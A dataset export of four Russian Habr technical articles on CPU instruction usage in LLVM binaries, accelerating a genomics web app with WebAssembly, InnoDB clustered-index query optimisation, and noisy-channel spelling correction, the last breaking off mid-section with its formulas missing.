text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Сколько инструкций процессора использует компилятор?
Месяц назад я [попытался сосчитать](https://habr.com/ru/post/503486/), сколько разных инструкций поддерживается современными процессорами, и насчитал 945 в Ice Lake. Комментаторы [затронули интересный вопрос](https://habr.com/ru/company/huawei/blog/503194/#comment_21644072): какая часть всего этого разнообразия реально используется компиляторами? Например, некто Pepijn de Vos в 2016 [подсчитал](http://pepijndevos.nl/2016/08/24/x86-instruction-distribution.html), сколько разных инструкций задействовано в бинарниках у него в /usr/bin, и насчитал 411 — т.е. примерно треть всех инструкций x86\_64, существовавших на тот момент, не использовались ни в одной из стандартных программ в его ОС. Другая любопытная его находка — что код для x86\_64 на треть состоит из инструкций `mov`. (В общем-то [известно](http://web.archive.org/web/20190331191157/https://www.cl.cam.ac.uk/~sd601/papers/mov.pdf), что одних инструкций `mov` достаточно, чтобы написать любую программу.)
Я решил развить исследование de Vos, взяв в качестве «эталонного кода» компилятор LLVM/Clang. У него сразу несколько преимуществ перед содержимым /usr/bin неназванной версии неназванной ОС:
1. С ним удобно работать: это один огромный бинарник, по размеру сопоставимый со всем содержимым /usr/bin среднестатистического линукса;
2. Он позволяет сравнить разные ISA: на [releases.llvm.org/download.html](https://releases.llvm.org/download.html) доступны официальные бинарники для x86, ARM, SPARC, MIPS и PowerPC;
3. Он позволяет отследить исторические тренды: официальные бинарники доступны для всех релизов начиная с 2003;
4. Наконец, в исследовании компиляторов логично использовать компилятор и в качестве подопытного объекта :-)
Начну со статистики по мартовскому релизу LLVM 10.0:
| ISA | Размер бинарника | Размер секции .text | Общее число инструкций | Число разных инструкций |
| --- | --- | --- | --- | --- |
| AArch64 | 97 МБ | 74 МБ | 13,814,975 | 195 |
| ARMv7A | 101 МБ | 80 МБ | 15,621,010 | 308 |
| i386 | 106 МБ | 88 МБ | 20,138,657 | 122 |
| PowerPC64LE | 108 МБ | 89 МБ | 17,208,502 | 288 |
| SPARCv9 | 129 МБ | 105 МБ | 19,993,362 | 122 |
| x86\_64 | 107 МБ | 87 МБ | 15,281,299 | 203 |
В прошлом топике комментаторы [упомянули](https://habr.com/ru/company/huawei/blog/503194/#comment_21652280), что самый компактный код у них получается для SPARC. Здесь же видим, что бинарник для AArch64 оказывается на треть меньше что по размеру, что по общему числу инструкций.
А вот распределение по числу инструкций:
     
Неожиданно, что код для SPARC на 11% состоит из `nop`-ов, заполняющих [branch delay slots](https://en.wikipedia.org/wiki/Delay_slot). Для i386 среди самых частых инструкций видим и `int3`, заполняющую промежутки между функциями, и `nop`, используемую для выравнивания циклов на строки кэша. Наблюдение de Vos о том, что код на треть состоит из `mov`, подтверждается на обоих вариантах x86; но даже и на load-store-архитектурах `mov` оказывается если не самой частой инструкцией, то второй после load.
А как набор используемых инструкций менялся со временем?
Единственная ISA, для которой в каждом релизе есть официальный бинарник — это i386:
Серая линия, отложенная на правой оси — это число разных инструкций, использованных в компиляторе. Как мы видим, некоторое время назад компилятор компилировался гораздо разнообразнее. `int3` стала использоваться для заполнения промежутков только с 2018; до этого использовались такие же `nop`, как и для выравнивания внутри функций. Здесь же видно, что выравнивание внутри функций стало использоваться с 2013; до этого `nop`-ов было гораздо меньше. Ещё интересно, что до 2016 `mov`-ы составляли почти половину компилятора.
Самые первые версии LLVM, до появления clang, выпускались ещё и с бинарниками для SPARC. Потом поддержка SPARC утратила актуальность, и вновь она появилась лишь через 14 лет — с на порядок увеличившимся числом `nop`-ов:
Исторически следующая ISA, для которой выпускались бинарники LLVM — это PowerPC: сначала для Mac OS X и затем, после десятилетнего перерыва, для RHEL. Как видно из графика, переход после этого перерыва к 64-битному варианту ISA сопровождался заменой большинства `lwz` на `ld`, и вдобавок удвоением разнообразия инструкций:
В бинарниках для x86\_64 и ARM частота использования разных инструкций почти не изменялась:
При подсчёте инструкций ARM я отсекал [суффиксы условий](http://www.keil.com/support/man/docs/armasm/armasm_dom1359731161338.htm) — вместе с ними получалось около тысячи разных инструкций, но даже и без них ARM сильно опережает другие ISA по разнообразию генерируемых инструкций. Таким образом, слой `b` на этом графике включает и все условные переходы тоже. Для остальных ISA, где условными могут быть только переходы и немногие другие инструкции, суффиксы условий при подсчёте не отсекались.
Наконец, самая недавняя ISA, для которой публикуются официальные бинарники — это AArch64. Здесь интересно то, что `orr` с прошлого года почти перестала использоваться:
PowerPC и AArch64 оказались единственными ISA, для которых число разных используемых инструкций всё растёт и растёт. | https://habr.com/ru/post/506832/ | null | ru | null |
# Как мы при помощи WebAssembly в 20 раз веб-приложение ускорили
В этой статье рассматривается кейс по ускорению браузерного приложения через замену вычислений JavaScript на WebAssembly.
### WebAssembly — что это такое?
Если коротко, то это это бинарный формат инструкций для стековой виртуальной машины. Часто Wasm (сокращенное название) называют языком программирования, но это не так. Формат инструкций исполняется в браузере наряду с JavaScript.
Важно, что WebAssembly можно получить при компиляции исходников на таких языках, как C/C++, Rust, Go. Здесь применяется статическая типизация и так называемая плоская модель памяти. Код, как сказано выше, хранится в компактном бинарном формате, благодаря чему выполняется почти так же быстро, как если бы приложение было запущено с помощью командной строки. Эти возможности и привели к росту популярности WebAssembly.
> **Напоминаем:** *для всех читателей «Хабра» — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».*
>
>
>
> **Skillbox рекомендует:** Практический курс [«Мобильный разработчик PRO»](https://skillbox.ru/agima/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=AGIMA&utm_content=articles&utm_term=wasm20min).
>
>
На данный момент Wasm используется во многих приложениях, от игр вроде Doom 3 до портированных в веб приложений типа Autocad и Figma. Wasm применяется и в такой сфере, как serverless вычисления.
В этой статье приведен пример использования Wasm для ускорения аналитического веб-сервиса. Для наглядности мы взяли работающее приложение, написанное на С, которое скомпилируется в WebAssembly. Результат будет использован для замены малопроизводительных участков JS.
### Трансформация приложения
В примере будет использоваться браузерный сервис fastq.bio, который предназначен для генетиков. Инструмент позволяет оценить качество секвенирования (расшифровки) ДНК.
Вот пример приложения в работе:
Подробности процесса не стоит приводить, поскольку они довольно сложны для неспециалистов, но если вкратце, то ученые по указанной выше инфографике могут понять, прошел ли процесс секвенирования ДНК гладко и какие возникли проблемы.
У этого сервиса есть альтернативы, десктопные программы. Но fastq.bio позволяет ускорить работу, визуализируя данные. В большинстве других случаев нужно уметь работать с командной строкой, но не у всех генетиков есть нужный опыт.
Работает все просто. На входе — данные, представляемые в виде текстового файла. Этот файл генерируется специализированными инструментами для секвенирования. В файле размещается список последовательностей ДНК и оценка качества для каждого нуклеотида. Формат файла .fastq, поэтому сервис и получил такое название.
### Реализация на JavaScript
Первый шаг пользователя при работе с fastq.bio — выбор соответствующего файла. Используя объект File, приложение считывает случайную выборку данных из файла и обрабатывает этот пакет. Задача JavaScript здесь — выполнение несложных строковых операций и подсчет показателей. Один из них — количество нуклеотидов A, C, G и T на разных фрагментах ДНК.
После просчета нужных показателей они визуализируются при помощи Plotly.js, а сервис начинает работать с новой выборкой данных. Разделение на фрагменты сделано для повышения качества UX. Если работать со всеми данными сразу, процесс зависнет на какое-то время, поскольку файлы с результатами секвенирования занимают сотни гигабайтов файлового пространства. Сервис же берет участки данных размером от 0,5 до 1 Мб и работает с ними шаг за шагом, выстраивая графические данные.
Вот как это работает:
В красном прямоугольнике размещается алгоритм строковых преобразований для получения визуализации. Это наиболее нагруженная с точки зрения вычислений часть сервиса. Стоит попробовать заменить ее на Wasm.
### Тестируем WebAssembly
Для оценки возможности использования Wasm команда проекта занялась поиском готовых решений для создания QC-метрики (QC — quality control) на основе файлов fastq. Поиск велся среди инструментов, написанных на С, С++ или Rust, чтобы была возможность портировать код на WebAssembly. Кроме того, инструмент не должен быть «сырым», требовался сервис, уже проверенный учеными.
В результате выбор был сделан в пользу [seqtk](https://github.com/lh3/seqtk). Приложение довольно популярно, оно open-source, исходный язык — С.
Перед преобразованием в Wasm стоит посмотреть принцип компиляции seqtk для десктопа. Согласно Makefile, вот то, что нужно:
```
# Compile to binary
$ gcc seqtk.c \
-o seqtk \
-O2 \
-lm \
-lz
```
В принципе, скомпилировать seqtk можно при помощи Emscripten. Если его нет, обходимся [образом Docker](https://hub.docker.com/r/robertaboukhalil/emsdk/tags).
```
$ docker pull robertaboukhalil/emsdk:1.38.26
$ docker run -dt --name wasm-seqtk robertaboukhalil/emsdk:1.38.26
```
При желании [собрать его можно и самостоятельно](https://emscripten.org/docs/getting_started/downloads.html), но на это нужно время.
Внутри контейнера без проблем можно взять emcc в качестве альтернативы gcc:
```
# Compile to WebAssembly
$ emcc seqtk.c \
-o seqtk.js \
-O2 \
-lm \
-s USE_ZLIB=1 \
-s FORCE_FILESYSTEM=1
```
Изменений минимум:
Вместо вывода в бинарный файл Emscripten для генерации файлов используется .wasm и .js, который применяется для запуска модуля WebAssemby.
Для поддержки библиотеки zlib используется флаг USE\_ZLIB. Библиотека распространена и портирована на WebAssembly, а Emscripten включает ее в проект.
Активируется виртуальная файловая система Emscrippten. Это [POSIX-подобная ФС](https://github.com/emscripten-core/emscripten/blob/incoming/src/library_fs.js), работающая в оперативной памяти внутри браузера. Когда страница обновляется, память очищается.
Чтобы понять, зачем нужна виртуальная файловая система, стоит сравнить способ запуска seqtk из командной строки со способом запуска скомпилированного модуля WebAssembly.
```
# On the command line
$ ./seqtk fqchk data.fastq
# In the browser console
> Module.callMain(["fqchk", "data.fastq"])
```
Получение доступа к виртуальной файловой системе нужно, чтобы не переписывать seqtk под строковый, а не файловый ввод. В этом случае фрагмент данных отображается как файл data.fastq в виртуальной ФС с вызовом на нем main() seqtk.
Вот новая архитектура:
Рисунок демонстрирует, что вместо вычислений в основном потоке браузера используется [WebWorkers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers). Этот способ дает возможность выполнять вычисления в фоновом потоке, не ухудшая отзывчивость браузера. Ну а контроллер WebWorker запускает Worker, управляя его взаимодействием с основным потоком.
Команда seqtk запускается при помощи Worker на примонтированном файле. После завершения выполнения Worker выдает результат в виде Promise. Когда сообщение получено главным потоком, результат используется для обновления графиков. И так в несколько итераций.
### Что насчет производительности WebAssembly?
Для того, чтобы оценить изменение производительности, команда проекта воспользовалась параметром количества операций чтения в секунду. Время построения интерактивных графиков не учитывается, поскольку в обеих имплементациях используется JavaScript.
При использовании решения «из коробки» прирост производительности составил девять раз.
Это отличный результат, но, как оказалось, есть возможность оптимизировать и его. Дело в том, что большое количество результатов QC-анализа не используется seqtk, поэтому их можно удалить. Если это сделать, результат по сравнению с JS улучшается в 13 раз.
Достичь его удалось простым комментированием команд printf().
Но и это не все. Дело в том, что на этом этапе fastq.bio получает результаты анализа с вызовом разных функций С. Любая из них вычисляет свой набор характеристик, так что каждый фрагмент файла читался по два раза.
Для того, чтобы обойти это проблему, было решено совместить две функции в одну. В результате производительность увеличилась в 20 раз.
Стоит отметить, что такого выдающегося результата можно достичь далеко не всегда. В некоторых случаях производительность падает, так что стоит оценивать каждый конкретный случай.
В качестве вывода можно сказать, что Wasm действительно дает возможность улучшить производительность приложения, но использовать его нужно с умом.
> **Skillbox рекомендует:**
>
>
>
> * Двухлетний практический курс [«Я — веб-разработчик PRO»](https://iamwebdev.skillbox.ru/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEVPRO&utm_content=articles&utm_term=wasm20min).
> * Онлайн-курс [«С#-разработчик с 0»](https://skillbox.ru/c-sharp/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=CSHDEV&utm_content=articles&utm_term=wasm20min).
> * Практический годовой курс [«PHP-разработчик с 0 до PRO»](https://skillbox.ru/php/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PHPDEV&utm_content=articles&utm_term=wasm20min).
> | https://habr.com/ru/post/452190/ | null | ru | null |
# Clustered index в InnoDB и оптимизация запросов
[](http://badoo.com/)В последнее время в сети часто пишут про clustered index в InnoDB и таблицах MySQL, но, несмотря на это, на практике используют довольно редко.
В данной статье мы покажем на двух реальных примерах, как мы оптимизировали достаточно сложные системы Badoo, основываясь на понимании принципов работы clustered index.
***Clustered index*** – форма организации таблицы в файле. В InnoDB данные хранятся в дереве, в таком же, в котором лежат обычные B-TREE ключи. Таблица InnoDB сама по себе уже является большим B-TREE. В качестве значений ключа используется clustered index. Согласно [документации](http://dev.mysql.com/doc/refman/5.5/en/innodb-index-types.html), в качестве clustered index выбирается PRIMARY KEY. Если PRIMARY KEY отсутствует – выбирается первый UNIQUE KEY. Если и такого нет, то используется внутренний 6-тибайтный код.
Что же вытекает из такой организации данных на диске?1. Вставка в середину таблицы может быть медленной из-за того, что надо перестраивать ключ.
2. Обновление значения clustered index у строки приводит к физическому переносу информации на диске или к ее фрагментации.
3. Необходимость использовать постоянно увеличивающееся значение clustered index для быстрой вставки в таблицу. Наиболее оптимальным будет автоинкрементное поле.
4. Каждая строка имеет уникальный идентификатор-значение clustered index.
5. Вторичные ключи просто ссылаются на эти уникальные идентификаторы.
6. Фактически, вторичный ключ вида KEY `key` (a,b,c) будет иметь структуру KEY `key` (a,b,c,clustered\_index).
7. Данные на диске упорядочены по clustered index (мы не рассматриваем пример с SSD).
Подробнее об этом можно прочитать в [руководстве](http://dev.mysql.com/doc/refman/5.5/en/innodb-table-and-index.html) по MySQL.
Мы же расскажем о двух видах оптимизации, которые помогли значительно ускорить работу наших скриптов.
#### Тестовое окружение
Чтобы уменьшить влияние кэширования на результаты исследования, добавим SQL\_NO\_CACHE к выборкам, а также будем сбрасывать кэш файловой системы перед каждым запросом. И, т.к. нас интересует худший случай, когда данные надо фактически вытягивать с диска, мы будем перезапускать MySQL перед каждым запросом.
Оборудование:* Intel® Pentium® Dual CPU E2180 @ 2.00GHz
* RAM DIMM 800 MHz 4Gb
* Ubuntu 11.04
* MySQL 5.5
* HDD Hitachi HDS72161
Скрипты, которыми мы пользовались, можно взять на [GitHub](https://github.com/Alexxz/Personal-MySQL-benchmarking).
#### Оптимизация глубоких offset-ов
Для примера возьмем абстрактную таблицу messages, в которой содержится пользовательская переписка.
```
CREATE TABLE messages (
message_id int not null auto_increment,
user1 int not null,
user2 int not null,
ts timestamp not null default current_timestamp,
body longtext not null,
PRIMARY KEY (message_id),
KEY (user1, user2, ts)
) ENGINE=InnoDB
```
Рассмотрим эту таблицу в свете перечисленных особенностей InnoDB.
Clustered index здесь совпадает с PRIMARY KEY и является автоинкрементным полем. Каждая строка имеет 4-хбайтный идентификатор. Вставка новых строк в таблицу оптимальна. Вторичный ключ на самом деле KEY (user1, user2, ts, message\_id), и мы это будем использовать.
Добавим в нашу таблицу 100 миллионов сообщений. Этого вполне достаточно, чтобы выявить нужные особенности InnoDB. Пользователей в нашей системе всего 10, таким образом, у каждой пары собеседников будет в среднем по миллиону сообщений.
Предположим, что эти 10 тестовых пользователей обменялись множеством сообщений и часто перечитывают давнюю переписку – интерфейс позволяет переключиться на страницу с очень старыми сообщениями. А за этим интерфейсом стоит простой запрос:
`SELECT * FROM messages WHERE user1=1 and user2=2 order by ts limit 20 offset PageNumber*20`
Самый обычный, по сути, запрос. Посмотрим же на время его исполнения в зависимости от глубины offset:
| offset | execution time (ms) |
| --- | --- |
| 100 | 311 |
| 1000 | 907 |
| 5000 | 3372 |
| 10000 | 6176 |
| 20000 | 11901 |
| 30000 | 17057 |
| 40000 | 21997 |
| 50000 | 28268 |
| 60000 | 32805 |
Наверняка многие ожидали увидеть линейный рост. Но получить 33 секунды на 60 тысячах записей – это слишком! Объяснить, на что уходит столько времени, довольно просто – стоит лишь упомянуть об одной из особенностей реализации MySQL. Дело в том, что MySQL для выполнения этого запроса вычитывает offset + limit строк с диска и из них возвращает limit. Теперь ситуация понятна: всё это время MySQL занимался вычитыванием с диска 60 тысяч не нужных нам строк. Что же делать в подобной ситуации? Напрашивается множество различных вариантов решения. Вот, кстати, интересная [статья](http://habrahabr.ru/blogs/mysql/44608/) об этих вариантах.
Мы же нашли очень простое решение: первым запросом выбрали только значения clustered index, а затем выбирали исключительно из них. Нам известно, что на конце вторичного ключа пристутствует значение clustered index, поэтому, если заменить в запросе \* на message\_id, то получаем запрос, работающий только по ключу, соотвественно, скорость такого запроса высока.
Было:
```
mysql> explain select * from messages where user1=1 and user2=2 order by ts limit 20 offset 20000;
+----+-------------+----------+------+---------------+-------+---------+-------------+--------+-------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+----------+------+---------------+-------+---------+-------------+--------+-------------+
| 1 | SIMPLE | messages | ref | user1 | user1 | 8 | const,const | 210122 | Using where |
+----+-------------+----------+------+---------------+-------+---------+-------------+--------+-------------+
1 row in set (0.00 sec)
```
Стало:
```
mysql> explain select message_id from messages where user1=1 and user2=2 order by ts limit 20 offset 20000;
+----+-------------+----------+------+---------------+-------+---------+-------------+--------+--------------------------+
| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
+----+-------------+----------+------+---------------+-------+---------+-------------+--------+--------------------------+
| 1 | SIMPLE | messages | ref | user1 | user1 | 8 | const,const | 210122 | Using where; Using index |
+----+-------------+----------+------+---------------+-------+---------+-------------+--------+--------------------------+
1 row in set (0.00 sec)
```
Using index в данном случае означает, что MySQL сможет получить все данные из вторичного ключа, и не будет обращаться к clustered index. Подробнее об этом можно узнать [здесь](http://dev.mysql.com/doc/refman/5.5/en/index-merge-optimization.html).
А теперь лишь остаётся извлечь непосредственно значения строк запросом
`SELECT * FROM messages WHERE message_id IN (....)`
Посмотрим, насколько производительнее это решение:
| offset | execution time (ms) |
| --- | --- |
| 100 | 243 |
| 1000 | 164 |
| 5000 | 213 |
| 10000 | 337 |
| 20000 | 618 |
| 30000 | 756 |
| 40000 | 971 |
| 50000 | 1225 |
| 60000 | 1477 |
Достигнутый результат устроил всех, потому дальнейшие поиски было решено не проводить. К тому же неизвестно, возможно ли принципиально быстрее обращаться к этим данным, не меняя саму процедуру работы с историей. Следует отметить еще раз, что стояла задача оптимизировать конкретный запрос, а не саму структуру данных.
#### Оптимизация процедуры обновления большой таблицы
Вторая необходимость в оптимизации возникла, когда нам понадобилось раз в сутки собирать актуальные данные о наших пользователях в одной большой таблице. Пользователей у нас к тому моменту насчитывалось 130 миллионов. Скрипт, обходящий все наши базы и собирающий новые данные, отрабатывает за полчаса и выбирает 30 миллионов изменившихся строк. Результат работы скрипта – десятки тысяч текстовых файлов с сериализованными новыми значениями на жёстком диске. В каждом файле содержится информация о сотнях пользователей.
Переносим информацию из этих текстовых файлов в базу данных. Читаем файлы последовательно, группируем строки в пачки по несколько тысяч и обновляем. Время выполнения скрипта колеблется от 3-х до 20-ти часов. Естественно, такое поведение скрипта неприемлемо. Более того, очевидно, что процесс необходимо оптимизировать.
Первое, на что пало подозрение – «паразитная» нагрузка на диск сервера БД. Но многочисленные наблюдения не выявили подтверждений этой гипотезы. Мы пришли к выводу, что проблема скрывается в недрах БД и надо думать, как это исправить. Как данные лежат на диске? Что приходится делать ОС, MySQL и оборудованию, чтобы обновить эти данные? Пока мы отвечали на эти вопросы, заметили, что данные обновляются в том же порядке, в котором их собрали. А это значит, что каждый запрос обновляет совершенно случайное место в этой большой таблице, что влечет за собой потерю времени на позиционирование головок диска, потерю кэша файловой системы и потерю кэша базы данных.
Отметим, что процесс обновления каждой строки в MySQL состоит из трёх этапов: вычитка значений, сравнение старого и нового значения, запись значения. Это можно увидеть даже из того, что в результате запроса MySQL отвечает, сколько строк совпало и сколько действительно обновилось.
Затем мы посмотрели, сколько строк реально изменяется в таблице. Из 30-ти миллионов строк изменились только 3 миллиона (что логично, т.к. таблица содержит весьма урезанную информацию о пользователях). А это означает, что 90% времени MySQL тратит именно на вычитку, а не на обновление. Решение пришло самой собой: следует проверить, насколько проигрывает случайный доступ к clustered index последовательному. Результат можно будет обобщить и в случае обновления таблицы (перед её обновлением всё равно происходит вычитка и сравнение).
Методика предельно проста – измерить разницу в скорости выполнения запроса
`SELECT * FROM messages where message_id in ($values)`
где в качестве values передавать массив из 10К элементов. Значения элементов сделать совершенно случайными для проверки случайного доступа. Для тестирования последовательного доступа надо сделать последовательно 10К элементов, начиная с некоего случайного смещения.
```
function getValuesForRandomAccess(){
$arr = array();
foreach(range(1, 10000) as $i){
$arr[] = rand(1,100000000);
}
return $arr;
}
function getValuesForSequencialAccess(){
$r = rand(1, 100000000-10000);
return range($r, $r+10000);
}
```
Время выполнения запроса со случайным доступом и последовательным:
| N | random | sequential |
| --- | --- | --- |
| 1 | 38494 | 171 |
| 2 | 40409 | 141 |
| 3 | 40868 | 147 |
| 4 | 37161 | 138 |
| 5 | 38189 | 137 |
| 6 | 36930 | 134 |
| 7 | 37398 | 176 |
| 8 | 38035 | 144 |
| 9 | 39722 | 140 |
| 10 | 40720 | 146 |
Как видим, разница во времени выполнения – 200 раз. Следовательно, за это надо бороться. Чтобы оптимизировать выполнение, надо отсортировать исходные данные по первичному ключу. Можем ли мы достаточно быстро отсортировать 30 миллионов значений в файлах? Ответ однозначный – можем!
После проведения этой оптимизации время работы скрипта сократилось до 2,5 часов. На предварительную сортировку 30-ти миллионов строк уходит 30 минут (и большую часть времени занимает gzip).
#### Та же самая оптимизация, но на SSD
Уже после написания статьи у нас нашёлся один лишний SSD, на котором мы также провели тестирование.
Выборка с глубоким offset-ом:
| offset | execution time (ms) |
| --- | --- |
| 100 | 117 |
| 1000 | 406 |
| 5000 | 1681 |
| 10000 | 3322 |
| 20000 | 6561 |
| 30000 | 9754 |
| 40000 | 13039 |
| 50000 | 16293 |
| 60000 | 19472 |
Оптимизированная выборка с глубоким offset-ом:
| offset | execution time (ms) |
| --- | --- |
| 100 | 101 |
| 1000 | 21 |
| 5000 | 24 |
| 10000 | 32 |
| 20000 | 47 |
| 30000 | 94 |
| 40000 | 84 |
| 50000 | 95 |
| 60000 | 120 |
Сравнение случайного и последовательного доступа:
| N | random | sequential |
| --- | --- | --- |
| 1 | 5321 | 118 |
| 2 | 5583 | 118 |
| 3 | 5881 | 117 |
| 4 | 6167 | 117 |
| 5 | 6349 | 120 |
| 6 | 6402 | 126 |
| 7 | 6516 | 125 |
| 8 | 6342 | 124 |
| 9 | 6092 | 118 |
| 10 | 5986 | 120 |
Эти цифры показывают, что SSD, конечно, имеет преимущество перед обычным диском, однако его использование не отменяет необходимости оптимизации.
И в заключение нашей статьи мы можем сказать, что нам удалось увеличить скорость выборки данных в 20 раз. Мы ускорили фактическое обновление таблицы до 10 раз (суррогатный тест ускорили в 200 раз). Напомним, что опыты проводились на системе с отключенным кэшированием. Прирост на реальной системе оказался менее впечатляющим (кэш всё-таки неплохо исправляет ситуацию).
Вывод из вышеизложенного лежит на поверхности: мало знать сильные и слабые стороны ПО, с которым вы работаете, важно уметь применять эти знания на практике. Знание внутреннего устройства MySQL иногда позволяет ускорять запросы в десятки раз.
*Алексей [alexxz](https://habrahabr.ru/users/alexxz/) Еремихин, разработчик Badoo* | https://habr.com/ru/post/135966/ | null | ru | null |
# Исправляем опечатки в поисковых запросах
Наверное, любой сервис, на котором вообще есть поиск, рано или поздно приходит к потребности научиться исправлять ошибки в пользовательских запросах. Errare humanum est; пользователи постоянно опечатываются и ошибаются, и качество поиска от этого неизбежно страдает — а с ним и пользовательский опыт.
При этом каждый сервис обладает своей спецификой, своим лексиконом, которым должен уметь оперировать исправитель опечаток, что в значительной мере затрудняет применение уже существующих решений. Например, такие запросы пришлось научиться править нашему опечаточнику:
[](https://habr.com/company/joom/blog/433554/)
*Может показаться, что мы отказали пользователю в его мечте о вертикальной реальности, но на самом деле буква К просто стоит на клавиатуре рядом с буквой У.*
В этой статье мы разберём один из классических подходов к исправлению опечаток, от построения модели до написания кода на Python и Go. И в качестве бонуса — видео с моего доклада «[”Очки верткальной реальности”: исправляем опечатки в поисковых запросах](http://www.highload.ru/moscow/2018/abstracts/4117)» на Highload++.
Постановка задачи
=================
Итак, нам пришёл опечатанный запрос и его надо исправить. Обычно математически задача ставится таким образом:
* дано слово , переданное нам с ошибками;
* есть словарь  правильных слов;
* для всех слов w в словаре есть условные вероятности  того, что имелось в виду слово , при условии, что получили мы слово ;
* нужно найти слово w из словаря с максимальной вероятностью .
Эта постановка — самая элементарная — предполагает, что если нам пришёл запрос из нескольких слов, то мы исправляем каждое слово по отдельности. В реальности, конечно, мы захотим исправлять всю фразу целиком, учитывая сочетаемость соседних слов; об этом я расскажу ниже, в разделе “Как исправлять фразы”.
Неясных моментов здесь два — где взять словарь и как посчитать . Первый вопрос считается простым. В 1990 году [1] словарь собирали из базы утилиты [spell](https://en.wikipedia.org/wiki/Spell_(Unix)) и доступных в электронном виде словарей; в 2009 году в Google [4] поступили проще и просто взяли топ самых популярных слов в Интернете (вместе с популярными ошибочными написаниями). Этот подход взял и я для построения своего опечаточника.
Второй вопрос сложнее. Хотя бы потому, что его решение обычно начинается с применения формулы Байеса!
Теперь вместо исходной непонятной вероятности нам нужно оценить две новые, чуть более понятные:  — вероятность того, что при наборе слова  можно опечататься и получить , и  — в принципе вероятность использования пользователем слова .
Как оценить ? Очевидно, что пользователь с большей вероятностью путает А с О, чем Ъ с Ы. А если мы исправляем текст, распознанный с отсканированного документа, то велика вероятность путаницы между rn и m. Так или иначе, нам нужна какая-то модель, описывающая ошибки и их вероятности.
Такая модель называется noisy channel model (модель зашумлённого канала; в нашем случае зашумлённый канал начинается где-то в [центре Брока](https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BD%D1%82%D1%80_%D0%91%D1%80%D0%BE%D0%BA%D0%B0) пользователя и заканчивается по другую сторону его клавиатуры) или более коротко error model — модель ошибок. Эта модель, которой ниже посвящен отдельный раздел, будет ответственна за учёт как орфографических ошибок, так и, собственно, опечаток.
Оценить вероятность использования слова —  — можно по-разному. Самый простой вариант — взять за неё частоту, с которой слово встречается в некотором большом корпусе текстов. Для нашего опечаточника, учитывающего контекст фразы, потребуется, конечно, что-то более сложное — ещё одна модель. Эта модель называется language model, модель языка.
Модель ошибок
=============
Первые модели ошибок считали , подсчитывая вероятности элементарных замен в обучающей выборке: сколько раз вместо Е писали И, сколько раз вместо ТЬ писали Т, вместо Т — ТЬ и так далее [1]. Получалась модель с небольшим числом параметров, способная выучить какие-то локальные эффекты (например, что люди часто путают Е и И).
В наших изысканиях мы остановились на более развитой модели ошибок, предложенной в 2000 году Бриллом и Муром [2] и многократно использованной впоследствии (например, специалистами Google [4]). Представим, что пользователи мыслят не отдельными символами (спутать Е и И, нажать К вместо У, пропустить мягкий знак), а могут изменять произвольные куски слова на любые другие — например, заменять ТСЯ на ТЬСЯ, У на К, ЩА на ЩЯ, СС на С и так далее. Вероятность того, что пользователь опечатался и вместо ТСЯ написал ТЬСЯ, обозначим  — это параметр нашей модели. Если для всех возможных фрагментов  мы можем посчитать , то искомую вероятность  набора слова s при попытке набрать слово w в модели Брилла и Мура можно получить следующим образом: разобьем всеми возможными способами слова w и s на более короткие фрагменты так, чтобы фрагментов в двух словах было одинаковое количество. Для каждого разбиения посчитаем произведение вероятностей всех фрагментов w превратиться в соответствующие фрагменты s. Максимум по всем таким разбиениям и примем за значение величины :
Давайте посмотрим на пример разбиения, возникающего при вычислении вероятности напечатать «аксесуар» вместо «аксессуар»:
Как вы наверняка заметили, это пример не очень удачного разбиения: видно, что части слов легли друг под другом не так удачно, как могли бы. Если величины  и  ещё не так плохи, то  и , скорее всего, сделают итоговый «счёт» этого разбиения совсем печальным. Более удачное разбиение выглядит как-то так:
Здесь всё сразу стало на свои места, и видно, что итоговая вероятность будет определяться преимущественно величиной .
### Как вычислить $P(s|w)$
Несмотря на то, что возможных разбиений для двух слов имеется порядка , с помощью динамического программирования алгоритм вычисления  можно сделать довольно быстрым — за . Сам алгоритм при этом будет очень сильно напоминать [алгоритм Вагнера-Фишера](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%9B%D0%B5%D0%B2%D0%B5%D0%BD%D1%88%D1%82%D0%B5%D0%B9%D0%BD%D0%B0#%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%92%D0%B0%D0%B3%D0%BD%D0%B5%D1%80%D0%B0_%E2%80%94_%D0%A4%D0%B8%D1%88%D0%B5%D1%80%D0%B0) для вычисления [расстояния Левенштейна](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%9B%D0%B5%D0%B2%D0%B5%D0%BD%D1%88%D1%82%D0%B5%D0%B9%D0%BD%D0%B0).
Мы заведём прямоугольную таблицу, строки которой будут соответствовать буквам правильного слова, а столбцы — опечатанного. В ячейке на пересечении строки i и столбца j к концу алгоритма будет лежать в точности вероятность получить `s[:j]` при попытке напечатать `w[:i]`. Для того, чтобы её вычислить, достаточно вычислить значения всех ячеек в предыдущих строках и столбцах и пробежаться по ним, домножая на соответствующие . Например, если у нас заполнена таблица
, то для заполнения ячейки в четвёртой строке и третьем столбце (серая) нужно взять максимум из величин  и . При этом мы пробежались по всем ячейкам, подсвеченным на картинке зелёным. Если также рассматривать модификации вида  и , то придётся пробежаться и по ячейкам, подсвеченным жёлтым.
Сложность этого алгоритма, как я уже упомянул выше, составляет : мы заполняем таблицу , и для заполнения ячейки (i, j) нужно  операций. Впрочем, если мы ограничим рассмотрение фрагментами не больше какой-то ограниченной длины  (например, не больше двух букв, как в [4]), сложность уменьшится до . Для русского языка в своих экспериментах я брал .
### Как максимизировать $P(s|w)$
